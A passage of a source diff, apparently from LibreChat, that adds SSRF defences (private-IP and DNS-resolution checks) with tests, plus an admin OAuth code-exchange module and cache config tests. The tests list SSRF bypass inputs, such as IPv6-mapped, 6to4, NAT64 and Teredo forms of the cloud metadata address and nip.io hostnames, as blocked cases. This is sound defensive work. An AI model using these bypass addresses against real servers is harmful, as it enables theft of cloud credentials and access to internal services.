network)', () => { expect(isSSRFTarget('0.0.0.0')).toBe(true); + expect(isSSRFTarget('0.1.2.3')).toBe(true); }); it('should allow public IPs', () => { @@ -192,7 +202,354 @@ describe('isSSRFTarget', () => { }); }); +describe('isPrivateIP', () => { + describe('IPv4 private ranges', () => { + it('should detect loopback addresses', () => { + expect(isPrivateIP('127.0.0.1')).toBe(true); + expect(isPrivateIP('127.255.255.255')).toBe(true); + }); + + it('should detect 10.x.x.x private range', () => { + expect(isPrivateIP('10.0.0.1')).toBe(true); + expect(isPrivateIP('10.255.255.255')).toBe(true); + }); + + it('should detect 172.16-31.x.x private range', () => { + expect(isPrivateIP('172.16.0.1')).toBe(true); + expect(isPrivateIP('172.31.255.255')).toBe(true); + expect(isPrivateIP('172.15.0.1')).toBe(false); + expect(isPrivateIP('172.32.0.1')).toBe(false); + }); + + it('should detect 192.168.x.x private range', () => { + expect(isPrivateIP('192.168.0.1')).toBe(true); + expect(isPrivateIP('192.168.255.255')).toBe(true); + }); + + it('should detect 169.254.x.x link-local range', () => { + expect(isPrivateIP('169.254.169.254')).toBe(true); + expect(isPrivateIP('169.254.0.1')).toBe(true); + }); + + it('should detect 0.0.0.0/8 (current network)', () => { + expect(isPrivateIP('0.0.0.0')).toBe(true); + expect(isPrivateIP('0.1.2.3')).toBe(true); + }); + + it('should detect 100.64.0.0/10 (CGNAT / shared address space)', () => { + expect(isPrivateIP('100.64.0.1')).toBe(true); + expect(isPrivateIP('100.127.255.255')).toBe(true); + expect(isPrivateIP('100.63.255.255')).toBe(false); + expect(isPrivateIP('100.128.0.1')).toBe(false); + }); + + it('should detect 192.0.0.0/24 (IETF protocol assignments)', () => { + expect(isPrivateIP('192.0.0.1')).toBe(true); + expect(isPrivateIP('192.0.0.255')).toBe(true); + expect(isPrivateIP('192.0.1.1')).toBe(false); + }); + + it('should detect 198.18.0.0/15 (benchmarking)', () => { + expect(isPrivateIP('198.18.0.1')).toBe(true); + expect(isPrivateIP('198.19.255.255')).toBe(true); + expect(isPrivateIP('198.17.0.1')).toBe(false); + expect(isPrivateIP('198.20.0.1')).toBe(false); + }); + + it('should detect 224.0.0.0/4 (multicast) and 240.0.0.0/4 (reserved)', () => { + expect(isPrivateIP('224.0.0.1')).toBe(true); + expect(isPrivateIP('239.255.255.255')).toBe(true); + expect(isPrivateIP('240.0.0.1')).toBe(true); + expect(isPrivateIP('255.255.255.255')).toBe(true); + }); + + it('should allow public IPs', () => { + expect(isPrivateIP('8.8.8.8')).toBe(false); + expect(isPrivateIP('1.1.1.1')).toBe(false); + expect(isPrivateIP('93.184.216.34')).toBe(false); + }); + }); + + describe('IPv6 private ranges', () => { + it('should detect loopback', () => { + expect(isPrivateIP('::1')).toBe(true); + expect(isPrivateIP('::')).toBe(true); + expect(isPrivateIP('[::1]')).toBe(true); + }); + + it('should detect unique local (fc/fd) and link-local (fe80)', () => { + expect(isPrivateIP('fc00::1')).toBe(true); + expect(isPrivateIP('fd00::1')).toBe(true); + expect(isPrivateIP('fe80::1')).toBe(true); + }); + }); + + describe('IPv4-mapped IPv6 addresses', () => { + it('should detect private IPs in IPv4-mapped IPv6 form', () => { + expect(isPrivateIP('::ffff:169.254.169.254')).toBe(true); + expect(isPrivateIP('::ffff:127.0.0.1')).toBe(true); + expect(isPrivateIP('::ffff:10.0.0.1')).toBe(true); + expect(isPrivateIP('::ffff:192.168.1.1')).toBe(true); + }); + + it('should allow public IPs in IPv4-mapped IPv6 form', () => { + expect(isPrivateIP('::ffff:8.8.8.8')).toBe(false); + expect(isPrivateIP('::ffff:93.184.216.34')).toBe(false); + }); + }); +}); + +describe('isPrivateIP - IPv4-mapped IPv6 hex-normalized form (CVE-style SSRF bypass)', () => { + /** + * Node.js URL parser normalizes IPv4-mapped IPv6 from dotted-decimal to hex: + * new URL('http://[::ffff:169.254.169.254]/').hostname → '::ffff:a9fe:a9fe' + * + * These tests confirm whether isPrivateIP catches the hex form that actually + * reaches it in production (via parseDomainSpec → new URL → hostname). + */ + it('should detect hex-normalized AWS metadata address (::ffff:a9fe:a9fe)', () => { + // ::ffff:169.254.169.254 → hex form after URL parsing + expect(isPrivateIP('::ffff:a9fe:a9fe')).toBe(true); + }); + + it('should detect hex-normalized loopback (::ffff:7f00:1)', () => { + // ::ffff:127.0.0.1 → hex form after URL parsing + expect(isPrivateIP('::ffff:7f00:1')).toBe(true); + }); + + it('should detect hex-normalized 192.168.x.x (::ffff:c0a8:101)', () => { + // ::ffff:192.168.1.1 → hex form after URL parsing + expect(isPrivateIP('::ffff:c0a8:101')).toBe(true); + }); + + it('should detect hex-normalized 10.x.x.x (::ffff:a00:1)', () => { + // ::ffff:10.0.0.1 → hex form after URL parsing + expect(isPrivateIP('::ffff:a00:1')).toBe(true); + }); + + it('should detect hex-normalized 172.16.x.x (::ffff:ac10:1)', () => { + // ::ffff:172.16.0.1 → hex form after URL parsing + expect(isPrivateIP('::ffff:ac10:1')).toBe(true); + }); + + it('should detect hex-normalized 0.0.0.0 (::ffff:0:0)', () => { + // ::ffff:0.0.0.0 → hex form after URL parsing + expect(isPrivateIP('::ffff:0:0')).toBe(true); + }); + + it('should allow hex-normalized public IPs (::ffff:808:808 = 8.8.8.8)', () => { + expect(isPrivateIP('::ffff:808:808')).toBe(false); + }); + + it('should detect IPv4-compatible addresses without ffff prefix (::XXXX:XXXX)', () => { + expect(isPrivateIP('::7f00:1')).toBe(true); + expect(isPrivateIP('::a9fe:a9fe')).toBe(true); + expect(isPrivateIP('::c0a8:101')).toBe(true); + expect(isPrivateIP('::a00:1')).toBe(true); + }); + + it('should allow public IPs in IPv4-compatible form', () => { + expect(isPrivateIP('::808:808')).toBe(false); + }); + + it('should detect 6to4 addresses embedding private IPv4 (2002:XXXX:XXXX::)', () => { + expect(isPrivateIP('2002:7f00:1::')).toBe(true); + expect(isPrivateIP('2002:a9fe:a9fe::')).toBe(true); + expect(isPrivateIP('2002:c0a8:101::')).toBe(true); + expect(isPrivateIP('2002:a00:1::')).toBe(true); + }); + + it('should allow 6to4 addresses embedding public IPv4', () => { + expect(isPrivateIP('2002:808:808::')).toBe(false); + }); + + it('should detect NAT64 addresses embedding private IPv4 (64:ff9b::XXXX:XXXX)', () => { + expect(isPrivateIP('64:ff9b::7f00:1')).toBe(true); + expect(isPrivateIP('64:ff9b::a9fe:a9fe')).toBe(true); + }); + + it('should detect Teredo addresses with complement-encoded private IPv4 (RFC 4380)', () => { + // Teredo stores external IPv4 as bitwise complement in last 32 bits + // 127.0.0.1 → complement: 0x80ff:0xfffe + expect(isPrivateIP('2001::80ff:fffe')).toBe(true); + // 169.254.169.254 → complement: 0x5601:0x5601 + expect(isPrivateIP('2001::5601:5601')).toBe(true); + // 10.0.0.1 → complement: 0xf5ff:0xfffe + expect(isPrivateIP('2001::f5ff:fffe')).toBe(true); + }); + + it('should allow Teredo addresses with complement-encoded public IPv4', () => { + // 8.8.8.8 → complement: 0xf7f7:0xf7f7 + expect(isPrivateIP('2001::f7f7:f7f7')).toBe(false); + }); + + it('should confirm URL parser produces the hex form that bypasses dotted regex', () => { + // This test documents the exact normalization gap + const hostname = new URL('http://[::ffff:169.254.169.254]/').hostname.replace(/^\[|\]$/g, ''); + expect(hostname).toBe('::ffff:a9fe:a9fe'); // hex, not dotted + // The hostname that actually reaches isPrivateIP must be caught + expect(isPrivateIP(hostname)).toBe(true); + }); +}); + +describe('isActionDomainAllowed - IPv4-mapped IPv6 hex SSRF bypass (end-to-end)', () => { + beforeEach(() => { + mockedLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }] as never); + }); + afterEach(() => { + jest.clearAllMocks(); + }); + + it('should block http://[::ffff:169.254.169.254]/ (AWS metadata via IPv6)', async () => { + expect(await isActionDomainAllowed('http://[::ffff:169.254.169.254]/', null)).toBe(false); + }); + + it('should block http://[::ffff:127.0.0.1]/ (loopback via IPv6)', async () => { + expect(await isActionDomainAllowed('http://[::ffff:127.0.0.1]/', null)).toBe(false); + }); + + it('should block http://[::ffff:192.168.1.1]/ (private via IPv6)', async () => { + expect(await isActionDomainAllowed('http://[::ffff:192.168.1.1]/', null)).toBe(false); + }); + + it('should block http://[::ffff:10.0.0.1]/ (private via IPv6)', async () => { + expect(await isActionDomainAllowed('http://[::ffff:10.0.0.1]/', null)).toBe(false); + }); + + it('should allow http://[::ffff:8.8.8.8]/ (public via IPv6)', async () => { + expect(await isActionDomainAllowed('http://[::ffff:8.8.8.8]/', null)).toBe(true); + }); + + it('should block IPv4-compatible IPv6 without ffff prefix', async () => { + expect(await isActionDomainAllowed('http://[::127.0.0.1]/', null)).toBe(false); + expect(await isActionDomainAllowed('http://[::169.254.169.254]/', null)).toBe(false); + expect(await isActionDomainAllowed('http://[0:0:0:0:0:0:127.0.0.1]/', null)).toBe(false); + }); + + it('should block 6to4 addresses embedding private IPv4', async () => { + expect(await isActionDomainAllowed('http://[2002:7f00:1::]/', null)).toBe(false); + expect(await isActionDomainAllowed('http://[2002:a9fe:a9fe::]/', null)).toBe(false); + }); + + it('should block NAT64 addresses embedding private IPv4', async () => { + expect(await isActionDomainAllowed('http://[64:ff9b::127.0.0.1]/', null)).toBe(false); + expect(await isActionDomainAllowed('http://[64:ff9b::169.254.169.254]/', null)).toBe(false); + }); +}); + +describe('resolveHostnameSSRF', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + it('should detect domains that resolve to private IPs (nip.io bypass)', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '169.254.169.254', family: 4 }] as never); + expect(await resolveHostnameSSRF('169.254.169.254.nip.io')).toBe(true); + }); + + it('should detect domains that resolve to loopback', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '127.0.0.1', family: 4 }] as never); + expect(await resolveHostnameSSRF('loopback.example.com')).toBe(true); + }); + + it('should detect when any resolved address is private', async () => { + mockedLookup.mockResolvedValueOnce([ + { address: '93.184.216.34', family: 4 }, + { address: '10.0.0.1', family: 4 }, + ] as never); + expect(await resolveHostnameSSRF('dual.example.com')).toBe(true); + }); + + it('should allow domains that resolve to public IPs', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '93.184.216.34', family: 4 }] as never); + expect(await resolveHostnameSSRF('example.com')).toBe(false); + }); + + it('should detect private literal IPv4 addresses without DNS lookup', async () => { + expect(await resolveHostnameSSRF('169.254.169.254')).toBe(true); + expect(await resolveHostnameSSRF('127.0.0.1')).toBe(true); + expect(await resolveHostnameSSRF('10.0.0.1')).toBe(true); + expect(mockedLookup).not.toHaveBeenCalled(); + }); + + it('should allow public literal IPv4 addresses without DNS lookup', async () => { + expect(await resolveHostnameSSRF('8.8.8.8')).toBe(false); + expect(await resolveHostnameSSRF('93.184.216.34')).toBe(false); + expect(mockedLookup).not.toHaveBeenCalled(); + }); + + it('should detect private IPv6 literals without DNS lookup', async () => { + expect(await resolveHostnameSSRF('::1')).toBe(true); + expect(await resolveHostnameSSRF('fc00::1')).toBe(true); + expect(await resolveHostnameSSRF('fe80::1')).toBe(true); + expect(mockedLookup).not.toHaveBeenCalled(); + }); + + it('should detect hex-normalized IPv4-mapped IPv6 literals', async () => { + expect(await resolveHostnameSSRF('::ffff:a9fe:a9fe')).toBe(true); + expect(await resolveHostnameSSRF('::ffff:7f00:1')).toBe(true); + expect(await resolveHostnameSSRF('[::ffff:a9fe:a9fe]')).toBe(true); + expect(mockedLookup).not.toHaveBeenCalled(); + }); + + it('should allow public IPv6 literals without DNS lookup', async () => { + expect(await resolveHostnameSSRF('2001:db8::1')).toBe(false); + expect(await resolveHostnameSSRF('::ffff:808:808')).toBe(false); + expect(mockedLookup).not.toHaveBeenCalled(); + }); + + it('should detect private IPv6 addresses returned from DNS lookup', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '::1', family: 6 }] as never); + expect(await resolveHostnameSSRF('ipv6-loopback.example.com')).toBe(true); + + mockedLookup.mockResolvedValueOnce([{ address: 'fc00::1', family: 6 }] as never); + expect(await resolveHostnameSSRF('ula.example.com')).toBe(true); + + mockedLookup.mockResolvedValueOnce([{ address: '::ffff:a9fe:a9fe', family: 6 }] as never); + expect(await resolveHostnameSSRF('meta.example.com')).toBe(true); + }); + + it('should fail open on DNS resolution failure', async () => { + mockedLookup.mockRejectedValueOnce(new Error('ENOTFOUND')); + expect(await resolveHostnameSSRF('nonexistent.example.com')).toBe(false); + }); +}); + +describe('isActionDomainAllowed - DNS resolution SSRF protection', () => { + afterEach(() => { + jest.clearAllMocks(); + }); + + it('should block domains resolving to cloud metadata IP (169.254.169.254)', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '169.254.169.254', family: 4 }] as never); + expect(await isActionDomainAllowed('169.254.169.254.nip.io', null)).toBe(false); + }); + + it('should block domains resolving to private 10.x range', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '10.0.0.5', family: 4 }] as never); + expect(await isActionDomainAllowed('internal.attacker.com', null)).toBe(false); + }); + + it('should block domains resolving to 172.16.x range', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '172.16.0.1', family: 4 }] as never); + expect(await isActionDomainAllowed('docker.attacker.com', null)).toBe(false); + }); + + it('should allow domains resolving to public IPs when no allowlist', async () => { + mockedLookup.mockResolvedValueOnce([{ address: '93.184.216.34', family: 4 }] as never); + expect(await isActionDomainAllowed('example.com', null)).toBe(true); + }); + + it('should not perform DNS check when allowedDomains is configured', async () => { + expect(await isActionDomainAllowed('example.com', ['example.com'])).toBe(true); + expect(mockedLookup).not.toHaveBeenCalled(); + }); +}); + describe('isActionDomainAllowed', () => { + beforeEach(() => { + mockedLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }] as never); + }); afterEach(() => { jest.clearAllMocks(); }); @@ -541,6 +898,9 @@ describe('extractMCPServerDomain', () => { }); describe('isMCPDomainAllowed', () => { + beforeEach(() => { + mockedLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }] as never); + }); afterEach(() => { jest.clearAllMocks(); }); @@ -756,4 +1116,44 @@ describe('isMCPDomainAllowed', () => { expect(await isMCPDomainAllowed({ url: 'wss://example.com' }, ['example.com'])).toBe(true); }); }); + + describe('IPv4-mapped IPv6 hex SSRF bypass', () => { + it('should block MCP server targeting AWS metadata via IPv6-mapped address', async () => { + const config = { url: 'http://[::ffff:169.254.169.254]/mcp' }; + expect(await isMCPDomainAllowed(config, null)).toBe(false); + }); + + it('should block MCP server targeting loopback via IPv6-mapped address', async () => { + const config = { url: 'http://[::ffff:127.0.0.1]/mcp' }; + expect(await isMCPDomainAllowed(config, null)).toBe(false); + }); + + it('should block MCP server targeting private range via IPv6-mapped address', async () => { + expect(await isMCPDomainAllowed({ url: 'http://[::ffff:10.0.0.1]/mcp' }, null)).toBe(false); + expect(await isMCPDomainAllowed({ url: 'http://[::ffff:192.168.1.1]/mcp' }, null)).toBe( + false, + ); + }); + + it('should block WebSocket MCP targeting private range via IPv6-mapped address', async () => { + expect(await isMCPDomainAllowed({ url: 'ws://[::ffff:127.0.0.1]/mcp' }, null)).toBe(false); + expect(await isMCPDomainAllowed({ url: 'wss://[::ffff:10.0.0.1]/mcp' }, null)).toBe(false); + }); + + it('should allow MCP server targeting public IP via IPv6-mapped address', async () => { + const config = { url: 'http://[::ffff:8.8.8.8]/mcp' }; + expect(await isMCPDomainAllowed(config, null)).toBe(true); + }); + + it('should block MCP server targeting 6to4 embedded private IPv4', async () => { + expect(await isMCPDomainAllowed({ url: 'http://[2002:7f00:1::]/mcp' }, null)).toBe(false); + expect(await isMCPDomainAllowed({ url: 'ws://[2002:a9fe:a9fe::]/mcp' }, null)).toBe(false); + }); + + it('should block MCP server targeting NAT64 embedded private IPv4', async () => { + expect(await isMCPDomainAllowed({ url: 'http://[64:ff9b::127.0.0.1]/mcp' }, null)).toBe( + false, + ); + }); + }); }); diff --git a/packages/api/src/auth/domain.ts b/packages/api/src/auth/domain.ts index 5d9fc51d02..2761a80b55 100644 --- a/packages/api/src/auth/domain.ts +++ b/packages/api/src/auth/domain.ts @@ -1,3 +1,5 @@ +import { lookup } from 'node:dns/promises'; + /** * @param email * @param allowedDomains @@ -22,6 +24,154 @@ export function isEmailDomainAllowed(email: string, allowedDomains?: string[] | return allowedDomains.some((allowedDomain) => allowedDomain?.toLowerCase() === domain); } +/** Checks if IPv4 octets fall within private, reserved, or non-routable ranges */ +function isPrivateIPv4(a: number, b: number, c: number): boolean { + if (a === 0) { + return true; + } + if (a === 10) { + return true; + } + if (a === 127) { + return true; + } + if (a === 100 && b >= 64 && b <= 127) { + return true; + } + if (a === 169 && b === 254) { + return true; + } + if (a === 172 && b >= 16 && b <= 31) { + return true; + } + if (a === 192 && b === 168) { + return true; + } + if (a === 192 && b === 0 && c === 0) { + return true; + } + if (a === 198 && (b === 18 || b === 19)) { + return true; + } + if (a >= 224) { + return true; + } + return false; +} + +/** Checks if an IPv6 address embeds a private IPv4 via 6to4, NAT64, or Teredo */ +function hasPrivateEmbeddedIPv4(ipv6: string): boolean { + if (!ipv6.startsWith('2002:') && !ipv6.startsWith('64:ff9b::') && !ipv6.startsWith('2001::')) { + return false; + } + const segments = ipv6.split(':').filter((s) => s !== ''); + + if (ipv6.startsWith('2002:') && segments.length >= 3) { + const hi = parseInt(segments[1], 16); + const lo = parseInt(segments[2], 16); + if (!isNaN(hi) && !isNaN(lo)) { + return isPrivateIPv4((hi >> 8) & 0xff, hi & 0xff, (lo >> 8) & 0xff); + } + } + + if (ipv6.startsWith('64:ff9b::')) { + const lastTwo = segments.slice(-2); + if (lastTwo.length === 2) { + const hi = parseInt(lastTwo[0], 16); + const lo = parseInt(lastTwo[1], 16); + if (!isNaN(hi) && !isNaN(lo)) { + return isPrivateIPv4((hi >> 8) & 0xff, hi & 0xff, (lo >> 8) & 0xff); + } + } + } + + // RFC 4380: Teredo stores external IPv4 as bitwise complement in last 32 bits + if (ipv6.startsWith('2001::')) { + const lastTwo = segments.slice(-2); + if (lastTwo.length === 2) { + const hi = parseInt(lastTwo[0], 16); + const lo = parseInt(lastTwo[1], 16); + if (!isNaN(hi) && !isNaN(lo)) { + return isPrivateIPv4((~hi >> 8) & 0xff, ~hi & 0xff, (~lo >> 8) & 0xff); + } + } + } + + return false; +} + +/** + * Checks if an IP address belongs to a private, reserved, or link-local range. + * Handles IPv4, IPv6, and IPv4-mapped IPv6 addresses (::ffff:A.B.C.D). + */ +export function isPrivateIP(ip: string): boolean { + const normalized = ip + .toLowerCase() + .trim() + .replace(/^\[|\]$/g, ''); + + const mappedMatch = normalized.match(/^::ffff:(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/); + if (mappedMatch) { + const [, a, b, c] = mappedMatch.map(Number); + return isPrivateIPv4(a, b, c); + } + + const hexMappedMatch = normalized.match(/^(?:::ffff:|::)([0-9a-f]{1,4}):([0-9a-f]{1,4})$/); + if (hexMappedMatch) { + const hi = parseInt(hexMappedMatch[1], 16); + const lo = parseInt(hexMappedMatch[2], 16); + return isPrivateIPv4((hi >> 8) & 0xff, hi & 0xff, (lo >> 8) & 0xff); + } + + const ipv4Match = normalized.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/); + if (ipv4Match) { + const [, a, b, c] = ipv4Match.map(Number); + return isPrivateIPv4(a, b, c); + } + + if ( + normalized === '::1' || + normalized === '::' || + normalized.startsWith('fc') || + normalized.startsWith('fd') || + normalized.startsWith('fe80') + ) { + return true; + } + + if (hasPrivateEmbeddedIPv4(normalized)) { + return true; + } + + return false; +} + +/** + * Checks if a hostname resolves to a private/reserved IP address. + * Directly validates literal IPv4 and IPv6 addresses without DNS lookup. + * For hostnames, resolves via DNS and checks all returned addresses. + * Fails open on DNS errors (returns false), since the HTTP request would also fail. + */ +export async function resolveHostnameSSRF(hostname: string): Promise { + const normalizedHost = hostname.toLowerCase().trim(); + + if (/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(normalizedHost)) { + return isPrivateIP(normalizedHost); + } + + const ipv6Check = normalizedHost.replace(/^\[|\]$/g, ''); + if (ipv6Check.includes(':')) { + return isPrivateIP(ipv6Check); + } + + try { + const addresses = await lookup(hostname, { all: true }); + return addresses.some((entry) => isPrivateIP(entry.address)); + } catch { + return false; + } +} + /** * SSRF Protection: Checks if a hostname/IP is a potentially dangerous internal target. * Blocks private IPs, localhost, cloud metadata IPs, and common internal hostnames. @@ -31,7 +181,6 @@ export function isEmailDomainAllowed(email: string, allowedDomains?: string[] | export function isSSRFTarget(hostname: string): boolean { const normalizedHost = hostname.toLowerCase().trim(); - // Block localhost variations if ( normalizedHost === 'localhost' || normalizedHost === 'localhost.localdomain' || @@ -40,51 +189,7 @@ export function isSSRFTarget(hostname: string): boolean { return true; } - // Check if it's an IP address and block private/internal ranges - const ipv4Match = normalizedHost.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/); - if (ipv4Match) { - const [, a, b, c] = ipv4Match.map(Number); - - // 127.0.0.0/8 - Loopback - if (a === 127) { - return true; - } - - // 10.0.0.0/8 - Private - if (a === 10) { - return true; - } - - // 172.16.0.0/12 - Private (172.16.x.x - 172.31.x.x) - if (a === 172 && b >= 16 && b <= 31) { - return true; - } - - // 192.168.0.0/16 - Private - if (a === 192 && b === 168) { - return true; - } - - // 169.254.0.0/16 - Link-local (includes cloud metadata 169.254.169.254) - if (a === 169 && b === 254) { - return true; - } - - // 0.0.0.0 - Special - if (a === 0 && b === 0 && c === 0) { - return true; - } - } - - // IPv6 loopback and private ranges - const ipv6Normalized = normalizedHost.replace(/^\[|\]$/g, ''); // Remove brackets if present - if ( - ipv6Normalized === '::1' || - ipv6Normalized === '::' || - ipv6Normalized.startsWith('fc') || // fc00::/7 - Unique local - ipv6Normalized.startsWith('fd') || // fd00::/8 - Unique local - ipv6Normalized.startsWith('fe80') // fe80::/10 - Link-local - ) { + if (isPrivateIP(normalizedHost)) { return true; } @@ -257,6 +362,10 @@ async function isDomainAllowedCore( if (isSSRFTarget(inputSpec.hostname)) { return false; } + /** SECURITY: Resolve hostname and block if it points to a private/reserved IP */ + if (await resolveHostnameSSRF(inputSpec.hostname)) { + return false; + } return true; } diff --git a/packages/api/src/auth/exchange.ts b/packages/api/src/auth/exchange.ts new file mode 100644 index 0000000000..c919974523 --- /dev/null +++ b/packages/api/src/auth/exchange.ts @@ -0,0 +1,157 @@ +import crypto from 'crypto'; +import { Keyv } from 'keyv'; +import { logger } from '@librechat/data-schemas'; +import type { IUser } from '@librechat/data-schemas'; + +/** Default admin panel URL for local development */ +const DEFAULT_ADMIN_PANEL_URL = 'http://localhost:3000'; + +/** + * Gets the admin panel URL from environment or falls back to default. + * @returns The admin panel URL + */ +export function getAdminPanelUrl(): string { + return process.env.ADMIN_PANEL_URL || DEFAULT_ADMIN_PANEL_URL; +} + +/** + * User data stored in the exchange cache + */ +export interface AdminExchangeUser { + _id: string; + id: string; + email: string; + name: string; + username: string; + role: string; + avatar?: string; + provider?: string; + openidId?: string; +} + +/** + * Data stored in cache for admin OAuth exchange + */ +export interface AdminExchangeData { + userId: string; + user: AdminExchangeUser; + token: string; + refreshToken?: string; +} + +/** + * Response from the exchange endpoint + */ +export interface AdminExchangeResponse { + token: string; + refreshToken?: string; + user: AdminExchangeUser; +} + +/** + * Serializes user data for the exchange cache. + * @param user - The authenticated user object + * @returns Serialized user data for admin panel + */ +export function serializeUserForExchange(user: IUser): AdminExchangeUser { + const userId = String(user._id); + return { + _id: userId, + id: userId, + email: user.email, + name: user.name ?? '', + username: user.username ?? '', + role: user.role ?? 'USER', + avatar: user.avatar, + provider: user.provider, + openidId: user.openidId, + }; +} + +/** + * Generates an exchange code and stores user data for admin panel OAuth flow. + * @param cache - The Keyv cache instance for storing exchange data + * @param user - The authenticated user object + * @param token - The JWT access token + * @param refreshToken - Optional refresh token for OpenID users + * @returns The generated exchange code + */ +export async function generateAdminExchangeCode( + cache: Keyv, + user: IUser, + token: string, + refreshToken?: string, +): Promise { + const exchangeCode = crypto.randomBytes(32).toString('hex'); + + const data: AdminExchangeData = { + userId: String(user._id), + user: serializeUserForExchange(user), + token, + refreshToken, + }; + + await cache.set(exchangeCode, data); + + logger.info(`[adminExchange] Generated exchange code for user: ${user.email}`); + + return exchangeCode; +} + +/** + * Exchanges an authorization code for tokens and user data. + * The code is deleted immediately after retrieval (one-time use). + * @param cache - The Keyv cache instance for retrieving exchange data + * @param code - The authorization code to exchange + * @returns The exchange response with token, refreshToken, and user data, or null if invalid/expired + */ +export async function exchangeAdminCode( + cache: Keyv, + code: string, +): Promise { + const data = (await cache.get(code)) as AdminExchangeData | undefined; + + /** Delete immediately - one-time use */ + await cache.delete(code); + + if (!data) { + logger.warn('[adminExchange] Invalid or expired authorization code'); + return null; + } + + logger.info(`[adminExchange] Exchanged code for user: ${data.user?.email}`); + + return { + token: data.token, + refreshToken: data.refreshToken, + user: data.user, + }; +} + +/** + * Checks if the redirect URI is for the admin panel (cross-origin). + * Uses proper URL parsing to compare origins, handling edge cases where + * both URLs might share the same prefix (e.g., localhost:3000 vs localhost:3001). + * + * @param redirectUri - The redirect URI to check. + * @param adminPanelUrl - The admin panel URL (defaults to ADMIN_PANEL_URL env var) + * @param domainClient - The main client domain + * @returns True if redirecting to admin panel (different origin from main client). + */ +export function isAdminPanelRedirect( + redirectUri: string, + adminPanelUrl: string, + domainClient: string, +): boolean { + try { + const redirectOrigin = new URL(redirectUri).origin; + const adminOrigin = new URL(adminPanelUrl).origin; + const clientOrigin = new URL(domainClient).origin; + + /** Redirect is for admin panel if it matches admin origin but not main client origin */ + return redirectOrigin === adminOrigin && redirectOrigin !== clientOrigin; + } catch { + /** If URL parsing fails, fall back to simple string comparison */ + return redirectUri.startsWith(adminPanelUrl) && !redirectUri.startsWith(domainClient); + } +} diff --git a/packages/api/src/auth/index.ts b/packages/api/src/auth/index.ts index bee8cf1691..392605ef50 100644 --- a/packages/api/src/auth/index.ts +++ b/packages/api/src/auth/index.ts @@ -1,2 +1,4 @@ export * from './domain'; export * from './openid'; +export * from './exchange'; +export * from './agent'; diff --git a/packages/api/src/cache/__tests__/cacheConfig.spec.ts b/packages/api/src/cache/__tests__/cacheConfig.spec.ts index e24f52fee0..0488cfecfc 100644 --- a/packages/api/src/cache/__tests__/cacheConfig.spec.ts +++ b/packages/api/src/cache/__tests__/cacheConfig.spec.ts @@ -215,16 +215,30 @@ describe('cacheConfig', () => { }).rejects.toThrow('Invalid cache keys in FORCED_IN_MEMORY_CACHE_NAMESPACES: INVALID_KEY'); }); - test('should handle empty string gracefully', async () => { + test('should produce empty array when set to empty string (opt out of defaults)', async () => { process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES = ''; const { cacheConfig } = await import('../cacheConfig'); expect(cacheConfig.FORCED_IN_MEMORY_CACHE_NAMESPACES).toEqual([]); }); - test('should handle undefined env var gracefully', async () => { + test('should default to CONFIG_STORE and APP_CONFIG when env var is not set', async () => { const { cacheConfig } = await import('../cacheConfig'); - expect(cacheConfig.FORCED_IN_MEMORY_CACHE_NAMESPACES).toEqual([]); + expect(cacheConfig.FORCED_IN_MEMORY_CACHE_NAMESPACES).toEqual(['CONFIG_STORE', 'APP_CONFIG']); + }); + + test('should accept TOOL_CACHE as a valid namespace', async () => { + process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES = 'TOOL_CACHE'; + + const { cacheConfig } = await import('../cacheConfig'); + expect(cacheConfig.FORCED_IN_MEMORY_CACHE_NAMESPACES).toEqual(['TOOL_CACHE']); + }); + + test('should accept CONFIG_STORE and APP_CONFIG together for blue/green deployments', async () => { + process.env.FORCED_IN_MEMORY_CACHE_NAMESPACES = 'CONFIG_STORE,APP_CONFIG'; + + const { cacheConfig } = await import('../cacheConfig'); + expect(cacheConfig.FORCED_IN_MEMORY_CACHE_NAMESPACES).toEqual(['CONFIG_STORE', 'APP_CONFIG']); }); }); }); diff --git a/packages/api/src/cache/__tests__/cacheFactory/standardCache.namespace_isolation.spec.ts b/packages/api/src/cache/__tests__/cacheFactory/standardCache.namespace_isolation.spec.ts new file mode 100644 index 0000000000..9a8b4ff3bf --- /dev/null +++ b/packages/api/src/cache/__tests__/cacheFactory/standardCache.namespace_isolation.spec.ts @@ -0,0 +1,135 @@ +import { CacheKeys } from 'librechat-data-provider'; + +const mockKeyvRedisInstance = { + namespace: '', + keyPrefixSeparator: '', + on: jest.fn(), +}; + +const MockKeyvRedis = jest.fn().mockReturnValue(mockKeyvRedisInstance); + +jest.mock('@keyv/redis', () => ({ + default: MockKeyvRedis, +})); + +const mockKeyvRedisClient = { scanIterator: jest.fn() }; + +jest.mock('../../redisClients', () => ({ + keyvRedisClient: mockKeyvRedisClient, + ioredisClient: null, +})); + +jest.mock('../../redisUtils', () => ({ + batchDeleteKeys: jest.fn(), + scanKeys: jest.fn(), +})); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + error: jest.fn(), + warn: jest.fn(), + debug: jest.fn(), + }, +})); + +describe('standardCache - CONFIG_STORE vs TOOL_CACHE namespace isolation', () => { + afterEach(() => { + jest.resetModules(); + MockKeyvRedis.mockClear(); + }); + + /** + * Core behavioral test for blue/green deployments: + * When CONFIG_STORE and APP_CONFIG are forced in-memory, + * TOOL_CACHE should still use Redis for cross-container sharing. + */ + it('should force CONFIG_STORE to in-memory while TOOL_CACHE uses Redis', async () => { + jest.doMock('../../cacheConfig', () => ({ + cacheConfig: { + FORCED_IN_MEMORY_CACHE_NAMESPACES: [CacheKeys.CONFIG_STORE, CacheKeys.APP_CONFIG], + REDIS_KEY_PREFIX: '', + GLOBAL_PREFIX_SEPARATOR: '>>', + }, + })); + + const { standardCache } = await import('../../cacheFactory'); + + MockKeyvRedis.mockClear(); + + const configCache 